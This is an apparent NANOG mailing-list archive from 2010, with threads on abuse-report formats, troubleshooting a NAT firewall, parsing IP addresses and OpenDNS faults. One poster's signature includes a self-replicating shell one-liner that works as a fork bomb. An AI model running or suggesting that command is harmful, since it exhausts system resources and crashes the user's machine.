I proposed a standard way to report abuse by email (X-headers) but nobody was interested. There's a (draft, de facto) standard format for automated reports between providers: http://mipassoc.org/arf/ http://tools.ietf.org/wg/marf/ > I suspect forms are because the abuse desks want necessary information in a structured way that doesn't have to be manually processed each time, plus trying to hunt people who can't realise what information is needed to do a proper abuse complaint. Yep, that's certainly part of it. -- J.D. Falk Return Path Inc From andrey.gordon at gmail.com Tue Feb 9 15:47:03 2010 From: andrey.gordon at gmail.com (Andrey Gordon) Date: Tue, 9 Feb 2010 16:47:03 -0500 Subject: black listing of web traffic In-Reply-To: References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> Message-ID: <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> Can't find my IP on any of the black lists. Don't have any proxies. Sites that behave poorly are consistent. That is to say that facebook.com, apple.com would always come up without an issue, but cnn.com, forever21.com(i know, don't ask, students), store.apple.com would consistently take forever to come up. Just wanted to check of rate-limiting web clients is a common practice nowdays in the industry. If it's not, it's probably an unlikely cause of my troubles... Thanks, Andrey ----- Andrey Gordon [andrey.gordon at gmail.com] On Tue, Feb 9, 2010 at 4:40 PM, Geoffrey Keating wrote: > Andrey Gordon writes: > > > Hi list > > > > I have a problem that I can't seem to find a solution to yet. My student > > network is being NATted out and anyone who's on that network had troubles > > accessing random websites. > > For example, going to www.apple.com or www.facebook.com would work > great, > > but store.apple.com would either not load or take forever to open up. > > > > I've had that problem last week and thought I tracked it down to the NAT > ip > > being black listed with one of the span black lists. Even though that IP > is > > not used for mail out, that somehow seemed to affect it. Changing it to a > > different one seemed to solve the problem and I got that original address > of > > the list in the mean time. Changed it back and everything was well, until > > today. > > Same symptoms, but now I don't see us listed anywhere. > > The best description of the symptoms seems to be that that IP is rate > > limited or something. > > > > Anyone seen that? Are there any blacklists for web access? > > Could it be related to the Pushdo botnet SSL traffic generation, > ? > Perhaps you have an infected machine and so your IP is being > blacklisted and/or rate-limited. > From nanog at shankland.org Tue Feb 9 15:55:59 2010 From: nanog at shankland.org (Jim Shankland) Date: Tue, 09 Feb 2010 13:55:59 -0800 Subject: black listing of web traffic In-Reply-To: <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> Message-ID: <4B71D9EF.5050501@shankland.org> Andrey Gordon wrote: > Can't find my IP on any of the black lists. Don't have any proxies. Sites > that behave poorly are consistent. That is to say that facebook.com, > apple.com would always come up without an issue, but cnn.com, > forever21.com(i know, don't ask, students), > store.apple.com would consistently take forever to come up. > > Just wanted to check of rate-limiting web clients is a common practice > nowdays in the industry. If it's not, it's probably an unlikely cause of my > troubles... Other things you might want to check out include whether your NAT gateway is well-behaved in the presence of PMTU discovery, TCP timestamps, and ECN. The web sites your students are having trouble with may share some property that, correctly or not, is interacting poorly with your NAT implementation. (I remain astonished at the number of "big name" web sites out there that send out their content with the DF bit set, then drop the "fragmentation required" ICMP packets they get back on the floor.) Jim Shankland From jay at west.net Tue Feb 9 15:56:07 2010 From: jay at west.net (Jay Hennigan) Date: Tue, 09 Feb 2010 13:56:07 -0800 Subject: black listing of web traffic In-Reply-To: <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> Message-ID: <4B71D9F7.30404@west.net> Andrey Gordon wrote: > Can't find my IP on any of the black lists. Don't have any proxies. Sites > that behave poorly are consistent. That is to say that facebook.com, > apple.com would always come up without an issue, but cnn.com, > forever21.com(i know, don't ask, students), > store.apple.com would consistently take forever to come up. > > Just wanted to check of rate-limiting web clients is a common practice > nowdays in the industry. If it's not, it's probably an unlikely cause of my > troubles... It could be that the problem sites have some form of load balancer that has an issue keeping state on multiple sessions from the same IP. You mentioned that changing the source IP fixed it. Is this a temporary fix that breaks after several users access the sites from the new IP? -- Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net Impulse Internet Service - http://www.impulse.net/ Your local telephone and internet company - 805 884-6323 - WB6RDV From andrey.gordon at gmail.com Tue Feb 9 16:04:34 2010 From: andrey.gordon at gmail.com (Andrey Gordon) Date: Tue, 9 Feb 2010 17:04:34 -0500 Subject: black listing of web traffic In-Reply-To: <4B71D9F7.30404@west.net> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> <4B71D9F7.30404@west.net> Message-ID: <90ccfc91002091404nc2222d7pd8dfdc2910fd153@mail.gmail.com> Thx to all the folks replying off the list. The more I trouble shoot the more I'm convinced that it's not the sites that are doing rate-limiting. I went to a website of one of my previous employers (a small company). Chances of them having a fancy reverse proxy with some sort of black list filtering are slim to none, yet their site barely opens up as well. Must be something that either my firewall device is doing (which is what is doing the NATting) or I don't' know what else. I'm working with my firewall guy since f/w is his domain and I have no clue about that vendor of the firewalls (PaloAlto). Thanks all for the suggestions. I'll keep digging. ----- Andrey Gordon [andrey.gordon at gmail.com] On Tue, Feb 9, 2010 at 4:56 PM, Jay Hennigan wrote: > Andrey Gordon wrote: > >> Can't find my IP on any of the black lists. Don't have any proxies. Sites >> that behave poorly are consistent. That is to say that facebook.com, >> apple.com would always come up without an issue, but cnn.com, >> forever21.com(i know, don't ask, students), >> store.apple.com would consistently take forever to come up. >> >> Just wanted to check of rate-limiting web clients is a common practice >> nowdays in the industry. If it's not, it's probably an unlikely cause of >> my >> troubles... >> > > It could be that the problem sites have some form of load balancer that has > an issue keeping state on multiple sessions from the same IP. > > You mentioned that changing the source IP fixed it. Is this a temporary > fix that breaks after several users access the sites from the new IP? > > -- > Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net > Impulse Internet Service - http://www.impulse.net/ > Your local telephone and internet company - 805 884-6323 - WB6RDV > From marka at isc.org Tue Feb 9 16:12:11 2010 From: marka at isc.org (Mark Andrews) Date: Wed, 10 Feb 2010 09:12:11 +1100 Subject: Regular Expression for IPv6 addresses In-Reply-To: Your message of "Tue, 09 Feb 2010 16:01:19 BST." References: <4912284@blitz.dartware.com> <4B6B66FF.50108@spaghetti.zurich.ibm.com> <201002050102.o1512BEf012071@drugs.dv.isc.org> Message-ID: <201002092212.o19MCBxG063598@drugs.dv.isc.org> In message , Thomas Habets writes: > On Fri, 5 Feb 2010, Mark Andrews wrote: > > And now for the trick question. Is ::ffff:077.077.077.077 a legal > > mapped address and if it, does it match 077.077.077.077? > > Forget IPv6. The first question is does 077.077.077.077 match > 077.077.077.077 in IPv4? I think you meant "does 077.077.077.077 match 77.77.77.77 in IPv4". > The answer is a long one full of different answers depending on > who's doing the parsing (gethostbyname(), inet_aton(), > inet_net_pton(), etc..) and on what OS. And also on many bugs. Indeed. It's a minefield out there for application developers that want consistancy. Even when you develop your own some OS vendor will go and stuff it up on you. > And don't count on the documentation being right either, or parsers > respecting standards (single unix or RFCs, or which one when they > conflict). And don't expect an error code if you feed 080.080.080.080 > into a parser, even one that *does* read it as octal. > > Don't prefix IP (v4) address octets with zero wether you expect it to be > treated as octal or not. Just don't. World of hurt and all that. > > E.g.: > http://kerneltrap.org/mailarchive/openbsd-bugs/2009/6/6/5882713/thread > > We should all do like one vendor I've seen where you enter the IP (v4) > address in binary... and then pad with zeroes to whatever size html form > wanted. Yes, this decade. > > --------- > typedef struct me_s { > char name[] = { "Thomas Habets" }; > char email[] = { "thomas at habets.pp.se" }; > char kernel[] = { "Linux" }; > char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" }; > char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" }; > char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" }; > } me_t; -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From rgamino at gmail.com Tue Feb 9 16:20:55 2010 From: rgamino at gmail.com (Rogelio) Date: Tue, 9 Feb 2010 17:20:55 -0500 Subject: black listing of web traffic In-Reply-To: <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> Message-ID: <6FAC881C-28C4-4CA6-8594-9155369594F2@gmail.com> Could it be a dns issue? Some sites trying to resolve your ip address and others don't? Sent from my iPhone On Feb 9, 2010, at 4:47 PM, Andrey Gordon wrote: > Can't find my IP on any of the black lists. Don't have any proxies. > Sites > that behave poorly are consistent. That is to say that facebook.com, > apple.com would always come up without an issue, but cnn.com, > forever21.com(i know, don't ask, students), > store.apple.com would consistently take forever to come up. > > Just wanted to check of rate-limiting web clients is a common practice > nowdays in the industry. If it's not, it's probably an unlikely > cause of my > troubles... > > Thanks, > Andrey > > ----- > Andrey Gordon [andrey.gordon at gmail.com] > > > On Tue, Feb 9, 2010 at 4:40 PM, Geoffrey Keating > wrote: > >> Andrey Gordon writes: >> >>> Hi list >>> >>> I have a problem that I can't seem to find a solution to yet. My >>> student >>> network is being NATted out and anyone who's on that network had >>> troubles >>> accessing random websites. >>> For example, going to www.apple.com or www.facebook.com would work >> great, >>> but store.apple.com would either not load or take forever to open >>> up. >>> >>> I've had that problem last week and thought I tracked it down to >>> the NAT >> ip >>> being black listed with one of the span black lists. Even though >>> that IP >> is >>> not used for mail out, that somehow seemed to affect it. Changing >>> it to a >>> different one seemed to solve the problem and I got that original >>> address >> of >>> the list in the mean time. Changed it back and everything was >>> well, until >>> today. >>> Same symptoms, but now I don't see us listed anywhere. >>> The best description of the symptoms seems to be that that IP is >>> rate >>> limited or something. >>> >>> Anyone seen that? Are there any blacklists for web access? >> >> Could it be related to the Pushdo botnet SSL traffic generation, >> ? >> Perhaps you have an infected machine and so your IP is being >> blacklisted and/or rate-limited. >> From Valdis.Kletnieks at vt.edu Tue Feb 9 16:25:28 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 09 Feb 2010 17:25:28 -0500 Subject: Regular Expression for IPv6 addresses In-Reply-To: Your message of "Wed, 10 Feb 2010 09:12:11 +1100." <201002092212.o19MCBxG063598@drugs.dv.isc.org> References: <4912284@blitz.dartware.com> <4B6B66FF.50108@spaghetti.zurich.ibm.com> <201002050102.o1512BEf012071@drugs.dv.isc.org> <201002092212.o19MCBxG063598@drugs.dv.isc.org> Message-ID: <23666.1265754328@localhost> On Wed, 10 Feb 2010 09:12:11 +1100, Mark Andrews said: > In message , Thomas > Habets writes: > > On Fri, 5 Feb 2010, Mark Andrews wrote: > > > And now for the trick question. Is ::ffff:077.077.077.077 a legal > > > mapped address and if it, does it match 077.077.077.077? > > > > Forget IPv6. The first question is does 077.077.077.077 match > > 077.077.077.077 in IPv4? > > I think you meant "does 077.077.077.077 match 77.77.77.77 in IPv4". No, he had it right, because... > > The answer is a long one full of different answers depending on > > who's doing the parsing (gethostbyname(), inet_aton(), > > inet_net_pton(), etc..) and on what OS. And also on many bugs. > > Indeed. It's a minefield out there for application developers that > want consistancy. Even when you develop your own some OS vendor will > go and stuff it up on you. There's no guarantee that 2 different binaries on the same box will resolve 077.077.077.077 to the same 32-bit sequence, so it's in fact possible that it's not even equal to itself, much less 77.77.77.77. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From andrey.gordon at gmail.com Tue Feb 9 16:29:59 2010 From: andrey.gordon at gmail.com (Andrey Gordon) Date: Tue, 9 Feb 2010 17:29:59 -0500 Subject: black listing of web traffic In-Reply-To: <6FAC881C-28C4-4CA6-8594-9155369594F2@gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> <6FAC881C-28C4-4CA6-8594-9155369594F2@gmail.com> Message-ID: <90ccfc91002091429t60d7470at8c124e153843f52c@mail.gmail.com> By changing my outbound IP address to a different one (i suspect effectively resetting sessions) the problem was solved. So, after that I set it back to the original source NAT. And the sites open up just fine still. It really behaves like a NAT table exhaustion, but the firewall only reports 13000 sessions in progress for all the NAT addresses on that firewall. I'm thinking memory leak or something. We only put that device in place this winter break and this is the second time this is happening. Last time was about 2-3 weeks ago. Seems to be fixed for now and the f/w dude is opening a ticket with the f/w vendor. ----- Andrey Gordon [andrey.gordon at gmail.com] From andrey.gordon at gmail.com Tue Feb 9 16:44:01 2010 From: andrey.gordon at gmail.com (Andrey Gordon) Date: Tue, 9 Feb 2010 17:44:01 -0500 Subject: black listing of web traffic In-Reply-To: <90ccfc91002091434p10499367p983b7cf752dd71f6@mail.gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> <4B71D9F7.30404@west.net> <90ccfc91002091404nc2222d7pd8dfdc2910fd153@mail.gmail.com> <90ccfc91002091418k368dc41dkd0f207c048afe350@mail.gmail.com> <90ccfc91002091426i777ea0d9vd75379e73d26be47@mail.gmail.com> <7B41D0E7-13D4-4EDE-B09D-AC66FC699D24@daork.net> <90ccfc91002091434p10499367p983b7cf752dd71f6@mail.gmail.com> Message-ID: <90ccfc91002091444n5a9fb96ak76b55fefb8cc014c@mail.gmail.com> Thanks to all, The problem seems to be fixed by changing the NAT ip to something else and than back. It does seem much like NAT exhaustion even though the f/w claims only 13K session for two dynamic NATs and about 20 static ones. What I don't get is why there is consistency in opening sites. Why does facebook open all the time and store.apple.com barely opens all the time. I'd say if it would be NAT exhaustion, they would all behave the same way meaning open and then not open and then open again. It is solved for the time being. Again, thanks to all. ----- Andrey Gordon [andrey.gordon at gmail.com] On Tue, Feb 9, 2010 at 5:34 PM, Andrey Gordon wrote: > I don't know, that's true. I don't where to find that info in this > particular firewall would be a more correct statement. and my f/w guy is not > much help either. > It definitely looks to me like a NATting issue, but what I don't understand > is why the same sites (e.g. facebook) loads fine consistently and others > don't. NAT exhaustion would not allow that, imo. > > This is the only relevant info I was able to find in the box: > > andrey.gordon at PA-2050-Bos> show session info > > > > ------------------------------------------------------------------------------- > number of sessions supported: 262143 > number of active sessions: 6799 > number of active TCP sessions: 5906 > number of active UDP sessions: 889 > number of active ICMP sessions: 4 > number of active BCAST sessions: 0 > number of active MCAST sessions: 0 > number of predict sessions: 1884 > session table utilization: 2% > number of sessions created since system bootup: 142823265 > Packet rate: 5920/s > Throughput: 45871 Kbps > > ------------------------------------------------------------------------------- > > > > > ----- > Andrey Gordon [andrey.gordon at gmail.com] > > > On Tue, Feb 9, 2010 at 5:31 PM, Nathan Ward wrote: > >> You don't know how many NAT sessions are open though, right? >> >> This is where I'd start looking, if you do or not is up to you. >> >> On 10/02/2010, at 11:26 AM, Andrey Gordon wrote: >> >> Well, if I understand NATting right, I should be able to have at least >> 65000 sessions per NAT address to one destination. Am I wrong? the firewall >> is rated for 260K sessions. >> >> ----- >> Andrey Gordon [andrey.gordon at gmail.com] >> >> >> On Tue, Feb 9, 2010 at 5:22 PM, Nathan Ward wrote: >> >>> 13,000 sessions could be your problem - perhaps you are running out of >>> NAT state table space. >>> >>> On 10/02/2010, at 11:18 AM, Andrey Gordon wrote: >>> >>> Not 100% sure. I have more than one NAT address on that firewall two of >>> which are dynamic: student and business. It's the student one that's broken. >>> Now, with that said, the Palo Alto firewall shows 13,000 session in >>> progress. Even the f/w guy does not know how to check out the session count >>> per NATted IP. >>> >>> ----- >>> Andrey Gordon [andrey.gordon at gmail.com] >>> >>> >>> On Tue, Feb 9, 2010 at 5:08 PM, Nathan Ward wrote: >>> >>>> How many users do you have behind your NAT? >>>> >>>> On 10/02/2010, at 11:04 AM, Andrey Gordon wrote: >>>> >>>> > Thx to all the folks replying off the list. >>>> > >>>> > The more I trouble shoot the more I'm convinced that it's not the >>>> sites that >>>> > are doing rate-limiting. I went to a website of one of my previous >>>> employers >>>> > (a small company). Chances of them having a fancy reverse proxy with >>>> some >>>> > sort of black list filtering are slim to none, yet their site barely >>>> opens >>>> > up as well. >>>> > >>>> > Must be something that either my firewall device is doing (which is >>>> what is >>>> > doing the NATting) or I don't' know what else. I'm working with my >>>> firewall >>>> > guy since f/w is his domain and I have no clue about that vendor of >>>> the >>>> > firewalls (PaloAlto). >>>> > >>>> > Thanks all for the suggestions. I'll keep digging. >>>> > >>>> > ----- >>>> > Andrey Gordon [andrey.gordon at gmail.com] >>>> > >>>> > >>>> > On Tue, Feb 9, 2010 at 4:56 PM, Jay Hennigan wrote: >>>> > >>>> >> Andrey Gordon wrote: >>>> >> >>>> >>> Can't find my IP on any of the black lists. Don't have any proxies. >>>> Sites >>>> >>> that behave poorly are consistent. That is to say that facebook.com >>>> , >>>> >>> apple.com would always come up without an issue, but cnn.com, >>>> >>> forever21.com(i know, don't ask, students), >>>> >>> store.apple.com would consistently take forever to come up. >>>> >>> >>>> >>> Just wanted to check of rate-limiting web clients is a common >>>> practice >>>> >>> nowdays in the industry. If it's not, it's probably an unlikely >>>> cause of >>>> >>> my >>>> >>> troubles... >>>> >>> >>>> >> >>>> >> It could be that the problem sites have some form of load balancer >>>> that has >>>> >> an issue keeping state on multiple sessions from the same IP. >>>> >> >>>> >> You mentioned that changing the source IP fixed it. Is this a >>>> temporary >>>> >> fix that breaks after several users access the sites from the new IP? >>>> >> >>>> >> -- >>>> >> Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net >>>> >> Impulse Internet Service - http://www.impulse.net/ >>>> >> Your local telephone and internet company - 805 884-6323 - WB6RDV >>>> >> >>>> > >>>> > >>>> > >>>> > >>>> >>>> >>> >>> >> !DSPAM:22,4b71e13583451376319610! >> >> >> > From Chris.Campbell at nebulassolutions.com Tue Feb 9 16:45:07 2010 From: Chris.Campbell at nebulassolutions.com (Chris Campbell) Date: Tue, 9 Feb 2010 22:45:07 +0000 Subject: black listing of web traffic In-Reply-To: <90ccfc91002091429t60d7470at8c124e153843f52c@mail.gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> <6FAC881C-28C4-4CA6-8594-9155369594F2@gmail.com> <90ccfc91002091429t60d7470at8c124e153843f52c@mail.gmail.com> Message-ID: <76F0688C-2503-4B25-8F89-3430EF1DBF2C@nebulassolutions.com> That's not surprising behaviour on a PaloAlto unit, they are still very young in the market and my colleagues have had issues with NAT and proxy arp in the recent past. Chris Campbell --------------------- On 9 Feb 2010, at 22:31, "Andrey Gordon" wrote: > By changing my outbound IP address to a different one (i suspect > effectively > resetting sessions) the problem was solved. So, after that I set it > back to > the original source NAT. And the sites open up just fine still. It > really > behaves like a NAT table exhaustion, but the firewall only reports > 13000 > sessions in progress for all the NAT addresses on that firewall. I'm > thinking memory leak or something. We only put that device in place > this > winter break and this is the second time this is happening. Last > time was > about 2-3 weeks ago. > > Seems to be fixed for now and the f/w dude is opening a ticket with > the f/w > vendor. > > ----- > Andrey Gordon [andrey.gordon at gmail.com] From mpalmer at hezmatt.org Tue Feb 9 17:43:16 2010 From: mpalmer at hezmatt.org (Matthew Palmer) Date: Wed, 10 Feb 2010 10:43:16 +1100 Subject: Connectivity problems to google via openDNS In-Reply-To: <4B71A1C7.7000804@west.net> References: <3AD2E46F-EE38-4AE9-B146-D7C024D73C0B@edgewire.sg> <4B71A1C7.7000804@west.net> Message-ID: <20100209234316.GQ16972@hezmatt.org> On Tue, Feb 09, 2010 at 09:56:23AM -0800, Jay Hennigan wrote: > Mark wrote: >> Hello nanog, >> >> Just wondering if anyone is experiencing the same problem with google >> and openDNS on their end or knows what's going on there with openDNS. >> The problem just occurred about 20 minutes ago. > > Don't do that then. > > OpenDNS is a form of censorware and almost certainly hijacking queries > to Google (and numerous other sites), redirecting to its own servers. It's also got some spectacularly odd failure modes. I was helping a customer diagnose a problem yesterday where when they attempted to connect to one server by name, they were reliably getting another server on the same network. Turned out that the DNS responses from OpenDNS (they were in a cafe somewhere with free wireless that was using OpenDNS) were giving slightly wrong addresses -- like the real address for example.com was 192.0.2.12, and OpenDNS was giving the response that example.com was at 192.0.2.16 (another server in the same cluster, hence the insane confusion). No wildcarding or recent DNS changes at our end, either -- it was just OpenDNS screwing things up *somehow*. "Never, ever use OpenDNS" is my recommendation. - Matt From Valdis.Kletnieks at vt.edu Tue Feb 9 18:28:33 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 09 Feb 2010 19:28:33 -0500 Subject: black listing of web traffic In-Reply-To: Your message of "Tue, 09 Feb 2010 17:44:01 EST." <90ccfc91002091444n5a9fb96ak76b55fefb8cc014c@mail.gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> <4B71D9F7.30404@west.net> <90ccfc91002091404nc2222d7pd8dfdc2910fd153@mail.gmail.com> <90ccfc91002091418k368dc41dkd0f207c048afe350@mail.gmail.com> <90ccfc91002091426i777ea0d9vd75379e73d26be47@mail.gmail.com> <7B41D0E7-13D4-4EDE-B09D-AC66FC699D24@daork.net> <90ccfc91002091434p10499367p983b7cf752dd71f6@mail.gmail.com> <90ccfc91002091444n5a9fb96ak76b55fefb8cc014c@mail.gmail.com> Message-ID: <6132.1265761713@localhost> On Tue, 09 Feb 2010 17:44:01 EST, Andrey Gordon said: > It does seem much like NAT exhaustion even though the f/w claims only 13K > session for two dynamic NATs and about 20 static ones. > What I don't get is why there is consistency in opening sites. Why does > facebook open all the time and store.apple.com barely opens all the time. This sounds like possibly a hash table with a spectacularly poor hash function, causing most of your entries to be in only a few hash buckets. You hit one of the 497 buckets that has 0 or 1 or 3 entries, it works great. You hit one of 3 buckets that has 4,000+ entries in it, things suck. (You Linux geeks can quit smirking - Linux had a very similar issue in its networking stack not so long ago). Never underestimate the ability of vendor engineers to write hilariously poor code: http://thedailywtf.com/Articles/Else-where.aspx You really gotta assume that your firewall code (or any other code, for that matter) was written by that programmer until proved otherwise. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From gordslater at ieee.org Tue Feb 9 19:42:48 2010 From: gordslater at ieee.org (gordon b slater) Date: Wed, 10 Feb 2010 01:42:48 +0000 Subject: black listing of web traffic In-Reply-To: <90ccfc91002091404nc2222d7pd8dfdc2910fd153@mail.gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> <4B71D9F7.30404@west.net> <90ccfc91002091404nc2222d7pd8dfdc2910fd153@mail.gmail.com> Message-ID: <1265766168.1473.6.camel@ub-g-d2> On Tue, 2010-02-09 at 17:04 -0500, Andrey Gordon wrote: > Thx to all the folks replying off the list. > > The more I trouble shoot the more I'm convinced that it's not the sites that > are doing rate-limiting. I went to a website of one of my previous employers > (a small company). Chances of them having a fancy reverse proxy with some > sort of black list filtering are slim to none, yet their site barely opens > up as well. > > Must be something that either my firewall device is doing (which is what is > doing the NATting) or I don't' know what else. I'm working with my firewall > guy since f/w is his domain and I have no clue about that vendor of the > firewalls (PaloAlto). > > Thanks all for the suggestions. I'll keep digging. > A few months ago I was involved in a hard-to-troubleshoot intermittent problems similar to yours. I finally diagnosed a faulty or overloaded state table somewhere in one of the cheap plastic routers they were using. All problems ended when I replaced the cheap plastic stuff with a x86 hardware running pf or iptables, I forget exactly which (irrelevant). Could it be that you have some arp-poisoning going on? That was my first thought in the above situation, but Wireshark showed otherwise. The clue to the state tables - it was mainly SSL/TLS that was getting expired/dropped. Gord From gordslater at ieee.org Tue Feb 9 19:46:00 2010 From: gordslater at ieee.org (gordon b slater) Date: Wed, 10 Feb 2010 01:46:00 +0000 Subject: black listing of web traffic In-Reply-To: <90ccfc91002091444n5a9fb96ak76b55fefb8cc014c@mail.gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> <90ccfc91002091347r59bb6c4aid62c3fef3de62cd8@mail.gmail.com> <4B71D9F7.30404@west.net> <90ccfc91002091404nc2222d7pd8dfdc2910fd153@mail.gmail.com> <90ccfc91002091418k368dc41dkd0f207c048afe350@mail.gmail.com> <90ccfc91002091426i777ea0d9vd75379e73d26be47@mail.gmail.com> <7B41D0E7-13D4-4EDE-B09D-AC66FC699D24@daork.net> <90ccfc91002091434p10499367p983b7cf752dd71f6@mail.gmail.com> <90ccfc91002091444n5a9fb96ak76b55fefb8cc014c@mail.gmail.com> Message-ID: <1265766360.1473.8.camel@ub-g-d2> On Tue, 2010-02-09 at 17:44 -0500, Andrey Gordon wrote: > What I don't get is why there is consistency in opening sites. Why does > facebook open all the time and store.apple.com barely opens all the time. > I'd say if it would be NAT exhaustion, they would all behave the same way > meaning open and then not open and then open again. My guess the fault drives some SSL/TLS sessions through some loadbalancers mad, but not all :) Gord From ops.lists at gmail.com Tue Feb 9 20:59:24 2010 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Wed, 10 Feb 2010 08:29:24 +0530 Subject: Yahoo abuse In-Reply-To: References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: On Tue, Feb 9, 2010 at 8:20 PM, Drew Weaver wrote: > > Half of the time our abuse people spend is wading through the spam at the abuse@ addresses =) Oh we love that. Find some way to automate feeding all that to your spam filters and you got yourself a sizeable trap, if the abuse address is about a decade old. -- Suresh Ramasubramanian (ops.lists at gmail.com) From swmike at swm.pp.se Tue Feb 9 23:07:59 2010 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Wed, 10 Feb 2010 06:07:59 +0100 (CET) Subject: Yahoo abuse In-Reply-To: References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: On Tue, 9 Feb 2010, J.D. Falk wrote: >> A few years I proposed a standard way to report abuse by email (X-headers) but nobody was interested. > > There's a (draft, de facto) standard format for automated reports between providers: > > http://mipassoc.org/arf/ > http://tools.ietf.org/wg/marf/ Unfortunately this seems very focused on reporting SPAM and other email related abuses. What I was looking for was a way to format a generic abuse report where the most important parts would be "type of abuse", "IP doing the abuse", "time the abuse occured" and "" that could be used by end users. Creating a new MIME type precludes most end users from ever using it because their MUA won't support it. -- Mikael Abrahamsson email: swmike at swm.pp.se From ops.lists at gmail.com Tue Feb 9 23:13:57 2010 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Wed, 10 Feb 2010 10:43:57 +0530 Subject: Yahoo abuse In-Reply-To: References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: That's IODEF, if and when it picks up enough steam to get widely deployed. On Wed, Feb 10, 2010 at 10:37 AM, Mikael Abrahamsson wrote: > > Unfortunately this seems very focused on reporting SPAM and other email > related abuses. What I was looking for was a way to format a generic abuse > report where the most important parts would be "type of abuse", "IP doing > the abuse", "time the abuse occured" and " happened>" that could be used by end users. Creating a new MIME type > precludes most end users from ever using it because their MUA won't support > it. -- Suresh Ramasubramanian (ops.lists at gmail.com) From swmike at swm.pp.se Tue Feb 9 23:21:24 2010 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Wed, 10 Feb 2010 06:21:24 +0100 (CET) Subject: Yahoo abuse In-Reply-To: References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: On Wed, 10 Feb 2010, Suresh Ramasubramanian wrote: > That's IODEF, if and when it picks up enough steam to get widely deployed. That looks over-engineered, but at least someone can create a web service where the user can fill in fields and use drop-down menus to create the XML and the cut/paste this into an email and send. Question is how an end user should handle the reply they get, it'll be pretty much unreadable to the untrained eye. -- Mikael Abrahamsson email: swmike at swm.pp.se From khuon at neebu.net Wed Feb 10 02:18:07 2010 From: khuon at neebu.net (Jake Khuon) Date: Wed, 10 Feb 2010 00:18:07 -0800 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: Message-ID: <1265789888.9053.7.camel@localhost> On Tue, 2010-02-09 at 07:06 +0100, Serge Radovcic wrote: > http://www.youtube.com/watch?v=a5837LcDHfE Excellent production. Sometimes it's hard for those who have been so involved in maintaining the grounds to describe what the forest looks like to common folk. Perhaps as a followup to this video, you could make another one that explains some of the history of the IXP, how diverse they can be and how they are evolving to meet the demands of the next generation of content distribution and the distributed shared computing resources. -- /*=================[ Jake Khuon ]=================+ | Packet Plumber, Network Engineers /| / [~ [~ |) | | -------- | | for Effective Bandwidth Utilisation / |/ [_ [_ |) |_| NETWORKS | +==================================================================*/ From swmike at swm.pp.se Wed Feb 10 02:55:26 2010 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Wed, 10 Feb 2010 09:55:26 +0100 (CET) Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: <1265789888.9053.7.camel@localhost> References: <1265789888.9053.7.camel@localhost> Message-ID: On Wed, 10 Feb 2010, Jake Khuon wrote: > Excellent production. ... but still an advertisement for use of IXPs 